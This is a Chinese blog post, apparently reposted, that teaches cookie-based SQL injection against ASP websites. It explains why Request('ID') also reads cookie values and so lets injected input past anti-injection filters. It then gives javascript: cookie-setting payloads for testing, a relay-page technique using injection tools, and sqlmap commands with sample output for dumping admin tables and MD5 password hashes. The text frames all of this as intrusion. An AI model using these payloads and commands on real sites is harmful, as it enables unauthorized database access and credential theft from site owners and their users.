(渗透-摘录) cookie 注入

2019211日  (渗透--摘录1) cookie注入

 

抛开中转工具直接搞定Cookie注入

 

最近在翻看危险漫步博客的时候,拜读了一篇关于Cookie注入的文章,受益良多。文中详细解析了Cookie注入漏洞存在的原因以及多种利用方法,非常适合大家来学习进步,但是我总感觉不够完善,今天我就来补充一下。

 

想想看,大家平时在入侵中碰到Cookie注入漏洞的时候,多半采用的利用方法就是用”寂寞的刺猬”写的那款”注入中转生成器”来生成一个ASP页面。

 

然后将生成的页面文件放在ASP环境下,构造出合适的url就可以直接注入了。方法虽然不是很复杂,但是有的时候,专门为了一个注入漏洞来搭建一个ASP环境也挺不方便的。

 

一、工具的简单介绍

 

这里我就给大家介绍一款工具,可以直接搞定大部分Cookie注入漏洞,避免了因需要搭建ASP环境而带来的麻烦。

工具名称:鬼客、cookie全自动SQL注入工具

 

二、实践演示

 

搭站,经分析得知,存在cookie注入漏洞的页面是网站根目录下的news_more.asp文件,我们在网站中找到类似的链接,习惯性地在该地址后面添加一个单引号,弹出了防注入警告,继续提交-0-1,分别返回了不同的页面。猜测该页面存在Cookie注入漏洞。

 

接下来打开鬼客,填写注入网址框、变量框、值框,填写连接类型和特征字符。连接类型指该注入点是数字型还是字符型注入点,关于怎么判断我就不多说了,无非是单引号符号闭合的问题,单纯看数字还是字母有时候不是那么准确。特征字符指当前页面存在而报错页面不存在的、可以起到区分作用的字符串。

 

填写好之后点击检测按钮,稍等一会,工具左下方提示存在注入。开始注入,点击检测表段,工具就开始用字典暴力破解表段了。。。左下方提示检测表段完成,检测出表段ADMIN;选中ADMIN,检测字段;检测内容。

 

有时候得到的密码可能是经过加密的,那时候就需要相应的查询解密。接下来是去后台测试注入到的账号密码是否正确,找到后台管理登录进去。

 

 

Cookie注入原理以及cookie中转注入

 

ASP中的Request对象

用来获取客户端提交的数据

集合

描述

ClientCertificate

包含了存储于客户证书中的域值(field values

Cookies

包含了HTTP请求中发送的所有的cookie

Form

包含了使用post方法由表单发送的所有的表单(输入)值

QueryString

包含了HTTP查询字符串中所有的变量值

ServerVariables

包含了所有的服务器变量值

 

使用方法一般是:request.[集合名称] (参数名称),比如获取从表单中提交的数据时可以这样写:request.form(“参数名称”),但ASP中规定也可以省略集合名称,直接用这样的方式获取数据:request(“参数名称”),当使用这样的方式获取数据时,ASP规定是按QueryStringFormCookiesServerVariables的顺序来获取数据的。

 

我们来研究一下怎样情况下才会有Cookie注入

如果你学过ASP,你应该会知道Request.QueryString(GET)Request.Form(POST)

备注:客户端向服务器提交HTTP请求,两种HTTP请求方法GETPOST

·GET -从指定的资源请求数据

·POST -向指定的资源提交要被处理的数据

 

这就是我们用于读取用户发给Web服务器的指定键中的值

我们有时为了简化代码,会写成 ID=Request(“ID”)

这样写法是简单了,但问题就来了

Web服务器是先取GET中的数据,没有再取POST中的数据,还是会取Cookies中的数据

 

防注入系统会检测GETPOST中的数据,如果有特殊字符(这里当然有特殊字符啦),就禁止数据的提交,但防注入系统没有检测cookies中的数据

 

这样,当我们使用request(“参数名称”)方式获取客户端提交的数据,并且没有对使用request.cookies(“参数名称”)方式提交的数据进行过滤时,Cookie注入就产生了。

 

注入步骤:

 

一、判断是否有Cookie注入漏洞

 

目标URL “http://www.xxx.com/x.asp?id=xxx”,首先去掉”id=xxx”,查看页面显示是否正常,如果不正常,说明参数在数据传递中有用,接着清空浏览器地址栏,输入

 

javascript:alert(document.cookie=”id=”+escape(“123”)); 回车  //123保存在cookieID

会看到弹出一个对话框,内容是id=123

之后,你刷新一个网页,如果正常显示,表示该网页是用Request(“ID”)这样的格式获取客户端提交的数据,这样就可以尝试进行cookie注入。

 

在浏览器地址栏输入

javascript:alert(document.cookie=”id=”+escape(“xx and 1=1”)); 回车

刷新目标页面,如果正常显示,可以再试下一步(如果不正常,则有可能被过滤掉了)

 

javascript:alert(document.cookie=”id=”+escape(“xx and 1=2”)); 回车

刷新目标页面,如果未正常显示,就说明存在cookie注入漏洞。

 

注:如果程序员是用Request.QueryStringRequest.Form获取客户端提交的数据的话,是无法利用cookie绕过防注入系统进行注入的,因为服务器程序直接从GETPOST中读取数据,并不会去读cookie中的数据,所以无法利用。

 

二、利用cookie中转注入

 

·  手工注入,打开寂寞的刺猬写的注入中转生成器,选择cookie注入

填写 注入键名、注入URL地址、来源页、POST提交值jmdcw=xxx

点击生成ASP页面,得到jmCook.asp

然后将生成的页面文件放在ASP环境(wwwroot目录)下,安装

看到右下角一闪一闪的图标,表示web服务器正运行中

//搭建ASP环境的工具为netbox

构造出合适的url(http://127.0.0.1:端口号/jmCook.asp?jmdcw=xxx)

然后使用明小子或者啊D填写构造好的url,就可以注入成功了。

·  ASP手工注入辅助工具 v1.3

填写 注入点、变量、ID号,点击中转按钮,会生成新的url

打开明小子,利用这个urlsql注入检测。

 

或使用sqlmap直接做cookie注入,不用中转。

备注:例如目标网站为:http://www.xxx.com/x.asp?id=1,则sqlmap命令为sqlmap.py -u “http://www.xxx.com/x.asp” --cookie “id=1” --level 2

 

 

sqlmapcookie注入获取表段、字段、字段中的值

  1. cookie注入,获取表段

Do you want to URL encode cookies values (implementation specific)? [Y/n] Y

Cookie parameter ‘id’ is vulnerable. Do you want to keep testing the others(if any)? [y/N] Y

Do you want to use common table existence check? [Y/n/q] Y

Please enter number of threads? [Enter for 1 (current)] 10

 

Sqlmap.py -u http://www.xx.com/show.asp --cookie “id=18” ---table --level 2

 

运行结果为:

Database : Microsoft_Access_xxxdb

[x tables]

+--------+

| xxx  |

| xxx  |

+--------+

 

  1. 获取字段

 

Sqlmap.py -u http://www.xx.com/show.asp --cookie “id=18” --columns -T <table name> --level 2

 

运行结果为:

Database : Microsoft_Access_xxxdb

Table : admin

[x columns]

+----------+-----------+

| column|Type   |

+----------+-----------+

| user  |numeric |

| id    |numeric |

+----------+-----------+

 

  1. 获取字段中的内容

 

Sqlmap.py -u http://www.xx.com/show.asp --cookie “id=18” --dump -T <table name> -C “字段名1,字段名2” --level 2

 

Database : Microsoft_Access_xxxdb

Table : admin

[1 entry]

+----------+-----------+

| user  |id      |

+----------+-----------+

| aaaa  |MD5enc |

+----------+-----------+

转载于:https://www.cnblogs.com/bhjing/p/10392032.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值